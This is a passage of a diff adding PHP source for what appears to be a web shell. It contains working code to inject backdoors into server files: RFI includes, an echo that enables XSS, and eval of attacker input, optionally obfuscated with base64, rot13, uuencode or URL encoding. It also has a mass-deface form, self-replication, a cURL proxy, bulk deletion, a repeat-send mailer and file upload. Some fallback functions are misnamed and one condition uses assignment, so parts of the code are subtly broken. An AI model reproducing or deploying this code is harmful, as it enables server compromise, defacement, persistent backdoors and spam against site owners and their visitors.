'if(@function_exists(\'require\')) {@include($_POST[\'c37\']); } elseif(@function_exists(\'require_once\')) {@require_once($_POST[\'c37\']); }'; } + elseif ($_POST['vuln'] === 'RFIB') { $AVuln = 'if(@function_exists(\'include\')) {@include($_POST[\'c37\']); } elseif(@function_exists(\'include_once\')) {@include_once($_POST[\'c37\']); } elseif(@function_exists(\'require\')) {@require($_POST[\'c37\']); } elseif(@function_exists(\'require_once\')) {@require_once($_POST[\'c37\']); }'; } + elseif ($_POST['vuln'] === 'XSS') { $AVuln = 'echo $_POST[\'c37\'];'; } + elseif ($_POST['vuln'] === 'Eval') { $AVuln = '@eval($_POST[\'c37\']);'; } + elseif ($_POST['vuln'] === 'My' && !empty($_POST['mycode'])) { $AVuln = $_POST['mycode']; } + else { echo 'Please select a valid vulnerability.<br />'; $FilesCount = 0; } + if (function_exists('eval')) { + if ($_POST['encode'] === 'Base64' && function_exists('base64_encode') && function_exists('base64_decode')) { $AVuln = '@eval(@base64_decode(\''.base64_encode($AVuln).'\'));'; } + elseif ($_POST['encode'] === 'Rot13' && function_exists('str_rot13')) { $AVuln = '@eval(@str_rot13(\''.str_rot13($AVuln).'\'));'; } + elseif ($_POST['encode'] === 'UUEncode' && function_exists('convert_uuencode') && function_exists('convert_uudecode')) { $AVuln = '@eval(@convert_uudecode(\''.convert_uuencode($AVuln).'\'));'; } + elseif ($_POST['encode'] === 'URLEncode' && function_exists('rawurldecode')) { $vulnlength = strlen($AVuln); $UrlencodedS = ''; for ($i = 0; $i < $vulnlength; $i++) { $UrlencodedS .= '%'.dechex(ord($AVuln[$i])); } $AVuln = '@eval(@rawurldecode(\''.$UrlencodedS.'\'));'; } + } + $VulnString = '<?php ' . $AVuln . ' ?>'; + for ($i = 0; $i<$FilesCount; $i++) { + if (is_readable($Files[$i]) && is_writable($Files[$i])) { + $FileContents = file_get_contents($Files[$i]); + if (file_put_contents($Files[$i],$VulnString.$FileContents)) { echo '\'',$Files[$i],'\' infected.<br />'; } + else { echo '<span style="color:red;">\'',htmlspecialchars($Files[$i]),'\' not infected.</span><br />'; } + } + else { + echo '\'',htmlspecialchars($Files[$i]),'\' is not readable or is not writeable.<br />'; + } + } + } + } + echo '<h3>Change the content of the files in <span style="font-weight:normal;">',htmlspecialchars($CDIR),'</span> to:</h3> + <form action="" method="post"> + <textarea name="content" id="content" cols="90" rows="15"></textarea><br /><br /> + Only affected web file extensions: html|htm|xhtml|xht|xml|shtml|xhtm|php|phtml|php3|php4|php5|php6|phtm|phps|asp|asphtml|aspx|jsp|cfm|cfml|py|pl|cgi|rb|rhtml + <br /><br /><select id="type" name="type"><option value="Web">All web files (.html|.php|.rhtml|.asp etc)</option><option value="All">All files</option></select> <input type="submit" value="Deface" name="Opt1" id="Opt1" onclick="javascript:var Ans = confirm(\'Are you sure?\'); if (Ans == 0) { return false; } if (document.getElementById(\'content\').value === \'\') { var Ans = confirm(\'The textarea is empty, to continue?\'); if (Ans == 0) { return false; } }" /><br /><br /> + <h3>Infect Files</h3>Inject <select style="background-color:#1C1C1C;color:white;" onchange="javascript:if(this.value === \'My\') {document.getElementById(\'mycode\').removeAttribute(\'disabled\');document.getElementById(\'mycode\').style.display=\'inline\'; } else {document.getElementById(\'mycode\').setAttribute(\'disabled\',\'disabled\');document.getElementById(\'mycode\').style.display=\'none\'; }" name="vuln" id="vuln"> + <option value="RFII">RFI (include/_once)</option><option value="RFIR">RFI (require/_once)</option><option value="RFIB">RFI (both)</option><option value="XSS">XSS</option><option value="Eval">Eval</option><option value="My">My own infection</option></select> code to + <select style="background-color:#1C1C1C;color:white;" onchange="javascript:if(this.value === \'File\') {document.getElementById(\'filename\').removeAttribute(\'disabled\');document.getElementById(\'filename\').style.display=\'inline\'; } else {document.getElementById(\'filename\').setAttribute(\'disabled\',\'disabled\');document.getElementById(\'filename\').style.display=\'none\'; }"> + <option>All directory files</option> + <option value="File">A file</option> + </select> + <input type="text" name="filename" id="filename" size="19" disabled="disabled" style="display:none;" /> using encoding + <select style="background-color:#1C1C1C;color:white;" name="encode" id="encode"> + <option>None</option>'; + if(function_exists('base64_encode') && function_exists('base64_decode')) { echo '<option>Base64</option>'; } + if (function_exists('str_rot13')) { echo '<option>Rot13</option>'; } + if (function_exists('convert_uuencode') && function_exists('convert_uudecode')) { echo '<option value="UUEncode">UUEncode</option>'; } + if (function_exists('rawurldecode')) { echo '<option value ="URLEncode">URLEncode</option>'; } + echo '</select<br /> + <textarea id="mycode" name="mycode" rows="7" cols="60" style="display:none;" disabled="disabled" value="&lt;?php &amp;&amp; ?&gt; are added automatically"></textarea> + <br /><br /> + Usage: example.php?<span style="color:red;">c37=&lt;script&gt;alert(\'XSS\');&lt;/script&gt;</span><br /> + If the encoding function or eval() does not exist, the infection encoding will be set to none.<br /> + Only affected extensions: php|phtml|php3|php4|php5|php6|phtm|phps + <br /><br /> + <input type="submit" value="Infect" name="Opt2" id="Opt2" onclick="javascript:var Ans = confirm(\'Are you sure?\'); if (Ans == 0) { return false; }" /> + </form>'; + } + elseif ($_GET['action'] === 'Replicator') { + if (isset($_POST['file'])) { + if (is_file($_POST['file']) || empty($_POST['file'])) { echo htmlspecialchars(realpath($_POST['file'])),' already exists or you did not provide a file location.<br /><br />'; } + else { + if (copy(__FILE__,$_POST['file'])) { echo 'Replicated successfully.'; $Suc = TRUE; } + } + } + elseif (!isset($Suc)) { echo '<form method="post" action="">Replicate the shell to: <input type="text" name="file" id="file" value="',htmlspecialchars(__FILE__),'" size="40" /> <input type="submit" value="Replicate" /></form>'; } + } + elseif ($_GET['action'] === 'Proxy') { + if (function_exists('curl_init') && function_exists('curl_exec') && function_exists('curl_setopt')) { + $cURLinfo = curl_version(); + echo + ' + <form action="?action=cURLframe" method="post" target="_blank"> + Go to: <input type="text" size="56" name="c37url" id="c37url" /> <input type="submit" value="Enter" /> + <br /> + <h3>Options</h3> + User agent: <input type="text" name="UA" id="UA" size="40" value="Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9" /> + </form> + <br /> + This script uses cURL ',$cURLinfo['version'], + ' (',$cURLinfo['host'],')', + ', ',$cURLinfo['ssl_version'], + ' & zlib ',$cURLinfo['libz_version'],'.<br />', + 'Supported protocols: | '; + foreach ($cURLinfo['protocols'] AS $Prot) { + echo $Prot,' | '; + } + } + else { echo '<span style="color:red">cURL is not available!</span><br /><br />'; } + } + elseif ($_GET['action'] === 'HashAnalyzer') { + echo '<fieldset style="width:500px;"><legend>Hash Analyzer</legend><br /><form method="post" action=""><input type="text" size="45" name="hash" id="hash" size="40" value="'; if (isset($_POST['hash'])) { echo htmlspecialchars($_POST['hash']); } echo '" /> <input type="submit" value="Analyze" /></form>'; + if (isset($_POST['hash'])) { + function CheckHEX($Hash, $Case) { + if (preg_match('/^[0-9a-fA-F]+$/',$Hash)) { return 1; } + else { return 0; } + } + function CheckBase64($Hash) { + if (preg_match('/^[0-9a-zA-Z+\/.]+==$/',$Hash)) { return 1; } + else { return 0; } + } + + echo '<h3>Possible Algorithms:</h3><ol style="text-align:left;width:125px;">'; + $StrLen = strlen($_POST['hash']); + + if ($StrLen === 32) { + if (CheckHEX($_POST['hash'])) { echo '<li>MD5</li><li>MD4</li><li>MD2</li><li>NTLM</li><li>Tiger128</li><li>SNEFRU128</li><li>RipeMD128</li><li>Haval128_3</li><li>Haval128_4</li><li>Haval128_5</li><li>Domain Cached Credentials</li>'; } + elseif (preg_match('/^[0-9A-F]+$/',$_POST['hash'])) { echo '<li>Windows-LM</li><li>Windows-NTLM</li><li>RC4</li>'; } + elseif (preg_match('/^[0-9a-zA-Z+\/.]+$/',$_POST['hash'])) { echo '<li>Haval192 (Base64)</li><li>Tiger-192 (Base64)</li>'; } + } + elseif ($StrLen === 40) { + if (CheckHEX($_POST['hash'])) { echo '<li>SHA-0</li><li>SHA-1</li><li>Tiger160</li><li>RipeMD160</li><li>MySQL v5.x</li><li>Haval160</li><li>Haval160_3</li><li>Haval160_4</li><li>Haval160_5</li>'; } + } + elseif ($StrLen === 8) { + if (CheckHEX($_POST['hash'])) { echo '<li>ADLER32</li><li>CRC-32</li><li>CRC-32B</li><li>GHash-32-3</li><li>GHash-32-3</li>'; } + } + elseif ($StrLen === 13) { + if (preg_match('/^[0-9a-zA-Z\/.]$/',$_POST['hash'])) { echo '<li>DES (Unix)</li>'; } + } + elseif ($StrLen === 16) { + if (CheckHEX($_POST['hash'])) { echo '<li>MySQL</li>'; } + } + elseif ($StrLen === 4) { + if (CheckHEX($_POST['hash'])) { echo '<li>CRC-16</li><li>CRC-16-CCITT</li><li>FCS-16</li>'; } + } + elseif ($StrLen === 34) { + if (preg_match('/^\$1\$[0-9a-zA-Z\/.]{8}\$[0-9a-zA-Z\/.]{22} $/',$_POST['hash'])) { echo '<li>MD5 (Unix)</li>'; } + elseif (preg_match('/^\$P\$B[0-9a-zA-Z\/.]$/',$_POST['hash'])) { echo '<li>MD5(WordPress)</li>'; } + elseif (preg_match('/^\$H\$9[0-9a-zA-Z\/.]$/',$_POST['hash'])) { echo '<li>MD5(PhpBB3)</li>'; } + } + elseif ($StrLen === 128) { + if (CheckHEX($_POST['hash'])) { echo '<li>SHA-512</li><li>WHIRLPOOL</li><li>SALSA20</li>'; } + } + elseif ($StrLen === 96) { + if (CheckHEX($_POST['hash'])) { echo '<li>SHA-384</li>'; } + } + elseif ($StrLen === 48) { + if (CheckHEX($_POST['hash'])) { echo '<li>Haval192</li><li>Haval192_4</li><li>Haval192_5</li><li>Tiger192</li><li>Tiger2</li><li>SALSA10</li>'; } + } + elseif ($StrLen === 56) { + if (CheckHEX($_POST['hash'])) { echo '<li>Haval224</li><li>Haval244_3</li><li>Haval244_4</li><li>SHA224</li>'; } + if (CheckBase64($_POST['hash'])) { echo '<li>RipeMD320 (Base64)</li>'; } + } + elseif ($StrLen === 64) { + if (CheckHEX($_POST['hash'])) { echo '<li>SNEFRU256</li><li>SHA-256</li><li>RipeMD256</li><li>Panama</li><li>Haval256</li><li>Haval256_3</li><li>Haval256_4</li><li>Haval256_5</li>'; } + elseif (preg_match('/^[0-9a-zA-Z+\/.]+$/',$_POST['hash'])) { echo '<li>SHA384 (Base64)</li>'; } + } + elseif ($StrLen === 37) { + if (preg_match('/^\$apr1\$[0-9a-zA-Z\/.]{8}\$[0-9a-zA-Z\/.]{22} $/',$_POST['hash'])) { echo '<li>MD5 (APR)</li>'; } + } + elseif ($StrLen === 80) { + if (CheckHEX($_POST['hash'])) { echo '<li>RipeMD320</li>'; } + } + elseif ($StrLen === 24) { + if (CheckBase64($_POST['hash'])) { echo '<li>Haval128 (Base64)</li><li>MD2 (Base64)</li><li>MD4 (Base64)</li><li>MD5 (Base64)</li><li>RipeMD128 (Base64)</li><li>SNEFRU128 (Base64)</li><li>Tiger128 (Base64)</li>'; } + } + elseif ($StrLen === 28) { + if (preg_match('/^[0-9a-zA-Z+\/.]+=$/',$Hash)) { echo '<li>SHA-1 (Base64)</li><li>Haval160 (Base64)</li><li>RipeMD160 (Base64)</li><li>Tiger160 (Base64)</li>'; } + } + elseif ($StrLen === 44) { + if (preg_match('/^[0-9a-zA-Z+\/.]+=$/',$Hash)) { echo '<li>Haval256 (Base64)</li><li>RipeMD256 (Base64)</li><li>SHA256 (Base64)</li><li>SNEFRU256 (Base64)</li>'; } + } + elseif ($StrLen === 88) { + if (CheckBase64($_POST['hash'])) { echo '<li>SHA512 (Base64)</li><li>WHIRLPOOL (Base64)</li>'; } + } + elseif ($StrLen === 9) { + if (is_numeric($_POST['hash'])) { echo '<li>Elf-32</li>'; } + } + + echo '</ol>'; + } + echo '</fieldset>'; + } + elseif ($_GET['action'] === 'X') { + if (isset($_POST['F'])) { + switch($_REQUEST['val']) { + case 1:{ + if (is_array($_REQUEST['F'])) { + echo '<h3>Delete Files</h3><table border="1" cellspacing="1" cellpadding="5">'; + foreach ($_REQUEST['F'] AS $File) { + echo '<tr><td>',$File,'</td><td><font color="'; if (unlink($File)) { echo 'green">[+'; } else { echo 'red">[-'; } echo ']</font></tr>'; + } + echo '</table>'; + } + else { + if (unlink($_REQUEST['F'])) { echo 'File was successfully Deleted.'; } else { echo 'Error while deleting file.<br />';GetLastError(); } + } + } break; + case 3: { + if (class_exists('ZipArchive')) { + $Zip = new ZipArchive; + for (;;) { + $Archive = 'ZippedFiles' . md5(microtime()) . '.zip'; + if (!file_exists($Archive)) { break; } + } + if ($Zip->open($Archive,ZIPARCHIVE::CREATE) === TRUE) { + foreach ($_POST['F'] AS $File) { $Zip->addFile($File); } + $Zip->close(); + echo 'Zip Archive was successfully created. (<a href="?dir=',$SCDIR,'&amp;action=download&amp;file=',$Archive,'">',$Archive,'</a>)<br />)'; + } + else { echo 'Could not create a ZIP Archive'; } + } + else { echo 'The ZipArchive Class does not exist'; } + } break; + default: { echo 'Invalid Operation'; } + } + } + else { echo 'Choose files to delete.'; } + } + elseif ($_GET['action'] === 'selfremove') { + if (unlink(__FILE__)) { echo 'Shell was removed successfully.'; } + else { echo 'Error while removing shell, Could not delete the file.';GetLastError(); } + } + elseif ($_GET['action'] === 'mailer') { + $Func1 = function_exists('mail'); $Func2 = function_exists('imap_mail'); + if ($Func1||$Func2) { + if (isset($_POST['To'])) { + $Suc = TRUE; + $HowMany = (int)$_POST['HowMany'] - 1; + if ($Func1) { + if (mail($_REQUEST['To'],$_REQUEST['Sub'],$_REQUEST['Message'],$_REQUEST['Heads'])) { echo 'E-Mail was sent successfully!'; } + else { echo 'Error While Sending Mail.';GetLastError(); echo '<br />'; $Suc = FALSE; } + if ($Suc = TRUE && $HowMany > 1) { + for ($i = 0; $i <= $HowMany; $i++) { mail($_POST['To'],$_POST['Sub'],$_POST['Message'],$_POST['Heads']); } + } + } + else { + if (imap_mail($_REQUEST['To'],$_REQUEST['Sub'],$_REQUEST['Message'],$_REQUEST['Heads'])) { echo 'E-Mail was sent successfully!'; } + else { echo 'Error While Sending Mail.';GetLastError(); echo '<br />'; $Suc = FALSE; } + if ($Suc = TRUE && $HowMany > 1) { + for ($i = 0; $i <= $HowMany; $i++) { imap_mail($_POST['To'],$_POST['Sub'],$_POST['Message'],$_POST['Heads']); } + } + } + } + echo '<form action="" method="post"><fieldset style="width:590px;"><legend>Send E-Mail</legend> + <table><tr><td>Sender E-Mail:</td><td><input type="text" name="From" id="From" size="40" /></td></tr><tr><td> + Recipient\'s E-Mail:</td><td><input type="text" name="To" id="To" size="40" value="[Separated by \',\']" /></td></tr><tr><td> + Subject:</td><td><input type="text" name="Sub" id="Sub" size="40" /></td></tr></table><br /> + Message:<br /><textarea rows="7" cols="70" id="Message" name="Message"></textarea><br /><br /> + Additional Headers:<br /><textarea rows="7" cols="50" id="Heads" name="Heads" spellcheck="false">[Separated by Enter]'."\r\n".'Example:',"\r\n",'X-Mailer: PHP/4.3',"\r\n",'Reply-To: example@something.com</textarea><br /> + <br />How many Times: <input type="text" size="1" id="HowMany" name="HowMany" /><br /> + <br /><input type="reset" value="Reset" /> <input type="submit" value="Send!" /> + </fieldset></form>'; + } + else { echo 'Can\'t Send E-Mail From this Server.'; } + } + elseif ($_GET['action'] === 'passset') { + if ($Auth === FALSE) { + if (!empty($_POST['password'])) { + if (!function_exists('file_get_contents') && (function_exists('fopen') && (function_exists('fread') || function_exists('fgets') || function_exists('fgetc')))) { + if (function_exists('fread')) { + function file_get_contents($File) { + $handle = fopen($File, 'rb'); + $contents = fread($handle,sprintf('%u',filesize($File))); + fclose($handle); + return $contents; + } + } + elseif (function_exists('fgets')) { + function file_get_contents($File) { + $handle = fopen($File, 'rb'); + $contents = ''; $Line = ''; + do { + $Line = fgets($handle,sprintf('%u',filesize($File))); + $contents .= $Line; + } while ($Line !== FALSE); + fclose($handle); + return $contents; + } + } + else { + function file_get_contents($File) { + $handle = fopen($File, 'rb'); + $contents = ''; $Character = ''; + do { + $Character = fgetc($handle,sprintf('%u',filesize($File))); + $contents .= $Character; + } while ($Character !== FALSE); + fclose($handle); + return $contents; + } + } + } + elseif (!function_exists('file_get_contents')) { + echo 'Could not set password (no available functions).'; $BAD = TRUE; + } + if (!function_exists('file_put_contents') && (function_exists('fopen') && (function_exists('fputs') || function_exists('fwrite') || function_exists('fputcsv')))) { + if (function_exists('fwrite')) { + function file_get_contents($File,$StringT) { + $handle = fopen($File, 'wb'); + $ret = fwrite($handle,$StringT); + fclose($handle); + return $ret; + } + } + elseif (function_exists('fputs')) { + function file_get_contents($File,$StringT) { + $handle = fopen($File, 'wb'); + $ret = fputs($handle,$StringT); + fclose($handle); + return $ret; + } + } + else { + function file_get_contents($File,$StringT) { + $handle = fopen($File, 'wb'); + $ret = fputcsv($handle,array($StringT)); + fclose($handle); + return $ret; + } + } + } + elseif (!function_exists('file_put_contents')) { + echo 'Could not set password (no available functions).'; $BAD = TRUE; + } + if (!isset($BAD)) { + $ShellContents = file_get_contents(__FILE__); + if (file_put_contents(__FILE__,substr_replace($ShellContents,'$Auth = TRUE; $Password = \''.sha1(md5($_POST['password'])).'\';',strpos($ShellContents,'$Auth = FALSE;'),14)) != 0) { echo 'Password set.'; } + else { echo 'An error occured, the password was not set.'; GetLastError(); } + } + } + else { + echo + '<form action="" method="post"> + Set shell password: <input type="text" id="password" name="password" /> <input type="submit" value="Enter" /><br /><br />Your password will be MD5 hashed & SHA1 hashed before it will be written to the shell file. + </form>'; + } + } + else { + if (!empty($_POST['removep'])) { + if (!function_exists('file_get_contents') && (function_exists('fopen') && (function_exists('fread') || function_exists('fgets') || function_exists('fgetc')))) { + if (function_exists('fread')) { + function file_get_contents($File) { + $handle = fopen($File, 'rb'); + $contents = fread($handle,sprintf('%u',filesize($File))); + fclose($handle); + return $contents; + } + } + elseif (function_exists('fgets')) { + function file_get_contents($File) { + $handle = fopen($File, 'rb'); + $contents = ''; $Line = ''; + do { + $Line = fgets($handle,sprintf('%u',filesize($File))); + $contents .= $Line; + } while ($Line !== FALSE); + fclose($handle); + return $contents; + } + } + else { + function file_get_contents($File) { + $handle = fopen($File, 'rb'); + $contents = ''; $Character = ''; + do { + $Character = fgetc($handle,sprintf('%u',filesize($File))); + $contents .= $Character; + } while ($Character !== FALSE); + fclose($handle); + return $contents; + } + } + } + elseif (!function_exists('file_get_contents')) { + echo 'Could not remove password (no available functions).'; $BAD = TRUE; + } + if (!function_exists('file_put_contents') && (function_exists('fopen') && (function_exists('fputs') || function_exists('fwrite') || function_exists('fputcsv')))) { + if (function_exists('fwrite')) { + function file_get_contents($File,$StringT) { + $handle = fopen($File, 'wb'); + $ret = fwrite($handle,$StringT); + fclose($handle); + return $ret; + } + } + elseif (function_exists('fputs')) { + function file_get_contents($File,$StringT) { + $handle = fopen($File, 'wb'); + $ret = fputs($handle,$StringT); + fclose($handle); + return $ret; + } + } + else { + function file_get_contents($File,$StringT) { + $handle = fopen($File, 'wb'); + $ret = fputcsv($handle,array($StringT)); + fclose($handle); + return $ret; + } + } + } + elseif (!function_exists('file_put_contents')) { + echo 'Could not remove password (no available functions).'; $BAD = TRUE; + } + if (!isset($BAD)) { + $ShellContents = file_get_contents(__FILE__); + if (file_put_contents(__FILE__,substr_replace($ShellContents,'$Auth = FALSE;',strpos($ShellContents,'$Auth = TRUE; $Password = \''.$Password.'\';'),70)) != 0) { echo 'Password removed.'; $_SESSION['SLOGIN'] = NULL; } + else { echo 'An error occured, the password was not removed.'; GetLastError(); } + } + } + else { + echo + '<form action="" method="post"> + Remove the shell password? <input type="submit" id="removep" name="removep" value="Remove" /> + </form>'; + } + } + } +} +else { + if ($ShowFiles) { + if (isset($_GET['act'])) { + if ($_GET['act'] === 'Upload') { + if (!isset($_FILES)) { $_FILES = $HTTP_POST_FILES; } + if (move_uploaded_file($_FILES['File']['tmp_name'],$_FILES['File']['name'])) { echo '\'',htmlspecialchars($_FILES['File']['name']),'\' Was uploaded successfully.'; } + else { + echo 'Could not transfer the uploaded file from \'',htmlspecialchars($_FILES['File']['tmp_name']),'\' to \'',htmlspecialchars($CDIR.$_FILES['File']['name']),'\'.<br /><br />'; + if (isset($_FILES['File']['error'])) { + if ($_FILES['File']['error'] === 1) { echo 'The uploaded file exceeds the upload_max_filesize directive in php.ini.'; } + elseif ($_FILES['File']['error'] === 2) { echo 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.'; } + elseif ($_FILES['File']['error'] === 3) { echo 'The uploaded file was only partially uploaded.'; } + elseif ($_FILES['File']['error'] === 4) { echo 'No file was uploaded.'; } + elseif ($_FILES['File']['error'] === 6) { echo 'Missing a temporary folder.'; } + elseif ($_FILES['File']['error'] === 7) { echo 'Failed to write file to disk.'; } + elseif ($_FILES['File']['error'] === 8) { echo 'A PHP extension stopped the file upload. PHP does not provide a way to ascertain which extension caused the file upload to stop;'; } + echo '<br /><br />'; + } + echo '<b>[php.ini]</b><br />file_uploads: ',ini_get('file_uploads'),' | upload_max_filesize: ',ini_get('upload_max_filesize'),' | max_file_uploads: ',ini_get('max_file_uploads'),'<br />'; + GetLastError(); + } + if (isset($_FILES['File2'])) { + echo '<br />'; + $i = 2; $File = ''; + while (isset($_FILES['File'.$i])) { + $File = $_FILES['File'.$i]; + if (move_uploaded_file($File['tmp_name'],$File['name'])) { echo '\'',htmlspecialchars($File['name']),'\' Was uploaded successfully.<br />'; } + else { + if (!isset($ErrorOccured)) { $ErrorOccured = TRUE; } + echo 'Could not transfer the uploaded file from \'',htmlspecialchars($File['tmp_name']),'\' to \'',htmlspecialchars($CDIR.$File['name']),'\'.<br />'; + if (isset($File['error'])) { + if ($File['error'] === 1) { echo 'The uploaded file exceeds the upload_max_filesize directive in php.ini.'; } + elseif ($File['error'] === 2) { echo 'The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.'; } + elseif ($File['error'] === 3) { echo 'The uploaded file was only partially uploaded.'; } + elseif ($File['error'] === 4) { echo 'No file was uploaded.'; } + elseif ($File['error'] === 6) { echo 'Missing a temporary folder.'; } + elseif ($File['error'] === 7) { echo 'Failed to write file to disk.'; } + elseif ($File['error'] === 8) { echo 'A PHP extension stopped the file upload. PHP does not provide a way to ascertain which extension caused the file upload to stop;'; } + echo '<br /><br />'; + } + if (isset($ErrorOccured)) { echo '<br /><b>[php.ini]</b><br />file_uploads: ',ini_get('file_uploads'),' | upload_max_filesize: ',ini_get('upload_max_filesize'),' | max_file_uploads: ',ini_get('max_file_uploads'),'<br />'; } + GetLastError(); + } + ++$i; + } + } + } + elseif ($_GET['act'] === 'FileMake') { + if (!empty($_POST['fm'])) { + echo '<b>File Making:</b><br />'; + $CanMake = TRUE; $Name = $_POST['fm']; if (strpos($_POST['fm'], '.') !== FALSE) { $Name = substr($_POST['fm'],0,strlen($_POST['fm'])-strlen(strrchr($_POST['fm'],'.'))-1); } + $WinReservedChars = array('<','>',':','"','/','\\','|','?','*'); + if ($IsWIN) { + foreach ($WinReservedChars AS $ResC) { + if (strpos($_POST['fm'],$ResC) !== FALSE) { echo '<span style="color:red;">Reserved Windows filename character: \'',$ResC,'\'</span><br />'; $CanMake = FALSE; } + } + foreach (range(0x00,0x1F) AS $ResC) { + if (strpos($_POST['fm'],$ResC) !== FALSE) { echo '<span style="color:red;">Reserved Windows filename character: 0x',dechex($ResC),'</span><br />'; $CanMake = FALSE; } + } + if ($CanMake && in_array($Name,array('CON','PRN','AUX','NUL','COM1','COM2','COM3','COM4','COM5','COM6','COM7','COM8','COM9','LPT1','LPT2','LPT3','LPT4','LPT5','LPT6','LPT7','LPT8','LPT9'))) { + echo '<span style="color:red;">Do not use the following reserved device names for the name of a file:</span><br />CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. Also avoid these names followed immediately by an extension; for example, NUL.txt is not recommended.'; $CanMake = FALSE; + } + else { + if ($_POST['fm'][strlen($_POST['fm'])-1] === ' ' || $_POST['fm'][strlen($_POST['fm'])-1] === '.') { + echo 'Do not end a file or directory name with a space or a period. Although the underlying file system may support such names, the Windows shell and user interface does not. However, it is acceptable to specify a period as the first character of a name. For example, ".temp".<br /><span style="color:orange;">The file will be created with the name \'',substr($_POST['fm'],0,strlen($_POST['fm'])-1),'\'</span>.<br />'; $RmLast = TRUE; + } + } + } + else { + if (strpos($_POST['fm'],0x00)!==FALSE || strpos($_POST['fm'],'/')!==FALSE) { echo '<span style="color:red;">The filename you entered contains a reserved UNIX filename character (\'/\',0x00 [NUL]).</span><br />'; $CanMake = FALSE; } + } + if ($CanMake && is_file($_POST['fm'])) { echo '\'',htmlspecialchars($_POST['fm']),'\' - File Already exists.'; } + elseif ($CanMake) { + if (isset($RmLast)) { $_POST['fm'] = substr($_POST['fm'],0,strlen($_POST['fm'])-1); } + $FILE = fopen($_POST['fm'],'x'); + echo '\'',htmlspecialchars($_POST['fm']),'\' - <font '; + if ($FILE) { echo 'color="green">File was created.</font>'; } + else { + echo 'color="red">[File ',realpath($CDIR.$_POST['fm']),' could not be created]</font>'; + GetLastError(); + } + fclose($FILE); + } + } + else { echo 'Please enter a File Name.'; } + } + elseif ($_GET['act'] === 'DirMake') { + if (is_dir($_POST['dm'])) { echo '\'',htmlspecialchars($_POST['dm']),'\' - Directory Already exists.'; } + else { + echo '\'',htmlspecialchars($_POST['dm']),'\' - <font '; + if (mkdir($_POST['dm'])) { echo 'color="green">Directory was created.</font>'; } + else { + echo 'color="red">[Directory ',realpath($CDIR.$_POST['dm']),' could not be created]</font>'; + GetLastError(); + } + } + } + elseif ($_GET['act'] === 'Link') { + if ($_POST['type'] === 's') { + if (function_exists('symlink') && symlink($_POST['To'],$_POST['Name'])) { + echo 'Symbolic Link \'',$_POST['Name'],'\' to \'',$_POST['To'],'\' was successfully created.'; + } + else { echo 'Could not create Symbolic Link. (symlink() does not exist or did not succeed)'; } + } + else { + if (function_exists('link') && link($_POST['To'],$_POST['Name'])) { + echo 'Hard Link \'',$_POST['Name'],'\' to \'',$_POST['To'],'\' was successfully created.'; + } + else { echo 'Could not create Hard Link. (link() does not exist or did not succeed)'; } + } + } + echo '<br /><br />'; + } + $dir = array(); $i = 0; + //if (function_exists('scandir')) { $dir = scandir('.'); } + //if (function_exists('opendir') && function_exists('readdir')) { $Handle = opendir('.'); while ($dir[$i++] = readdir($Handle)) { } closedir($Handle); array_pop($dir); } + //if (function_exists('dir') && $Handle = dir('.')) { while ($dir[$i++] = $Handle->read()) { } $Handle->close(); array_pop($dir); } + if (function_exists('glob')) { $dir = glob('*',GLOB_NOSORT); $GLOB = TRUE; } + if (isset($_GET['sort'])) { + if ($_GET['sort'] === 'date') { + array_multisort(array_map('filemtime', $dir), SORT_DESC, $dir); + } + } + $dirCount = count($dir); $i = 0; + if (($dir === FALSE) || (isset($GLOB) && !realpath('..'))) { echo '<div style="border-style:solid;border-width:2px;border-color:#7D7D7D;padding:10px;background-color:#282828;"><font color="red">:: Error while Loading Files - Invalid location\Function failure ::</font><br /><br />';GetLastError(); echo '</div><br /><br /><button title="Go Back in history (using JavaScript)" onclick="window.history.go(-1)">Go Back?</button>'; } + else { + /*white-space:pre so no indentions*/ + $S = 0; $R = 0; $F = 0; $Z = 0; $Dirs = array(); $Files = array(); + if (strpos($_SERVER['HTTP_USER_AGENT'],'Firefox') !== FALSE && strpos($_SERVER['HTTP_USER_AGENT'],'Windows') !== FALSE) { $ImgSRC = 'moz-icon://'; } + else { $ImgSRC = '?action=img&amp;ext='; } + + if (isset($_GET['search'])) { echo '<h2>Search results:</h2>'; } + + echo '<form action="?dir=',$SCDIR,'&amp;action=X" method="post" id="Form"><div style="white-space:pre;border-style:solid;border-width:2px;border-color:#7D7D7D;overflow:auto;text-align:left;max-height:700px;width:95%;font-family:Verdana,Tahoma,Arial,Helvetica;background-color:#282828;" title="Server Files"><table class="RightPad" style="border-spacing:0px;"><tr style="color:red;"><th style="text-align:left;">Name</th><th style="text-align:left;">Size</th><th style="text-align:left;">Last Modified</th><th style="padding-right:30px;text-align:left;">UID/GID</th><th style="text-align:left;">Perms</th><th style="text-align:left;">Actions</th></tr>',"\r\n"; + + if (isset($GLOB) && !isset($_GET['search'])) { + $Dot = '.'; $DDot = '..'; + echo '<tr onmouseover="this.style.backgroundColor=\'#8B0000\';" onmouseout="this.style.backgroundColor=\'\';"><td><table class="NoPad" style="margin-left:-2px;"><tr><td><img src="?action=img&amp;image=dir" width="17" height="14" alt="[DIR]" /></td><td><a href="?dir=',$SCDIR,'.">.</a></td></tr></table></td><td>DIR</td><td>',date('F d Y H:i:s.',filemtime($Dot)),'</td><td>'; $A = filegroup($Dot); $B = fileowner($Dot); echo $B; if (function_exists('posix_getpwuid')) { $PwUID = posix_getpwuid($B); echo ' (',$PwUID['name'],')'; } echo '/',$A; if (function_exists('posix_getgrgid')) { $PwGID = posix_getgrgid($A); if (is_array($PwGID)) { echo ' (',$PwGID['name'],')'; } } echo '</td><td><font'; $A = GetPerms($Dot); $B = substr($A,7); if ($B === '--x'||$B === '---') { echo ' color="red">'; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A.'</font></a></td><td><a href="?action=dir&amp;dir=',$SCDIR,'&amp;dirname=.">INFO</a></td></tr> + <tr onmouseover="this.style.backgroundColor=\'#8B0000\';" onmouseout="this.style.backgroundColor=\'\';"><td><table class="NoPad" style="margin-left:-2px;"><tr><td><img src="?action=img&amp;image=dir" width="17" height="14" alt="[DIR]" /></td><td><a href="?dir=',$SCDIR,'..">..</a></td></tr></table></td><td>DIR</td><td>',date('F d Y H:i:s.',filemtime($DDot)),'</td><td>'; $A = filegroup($DDot); $B = fileowner($DDot); echo $B; if 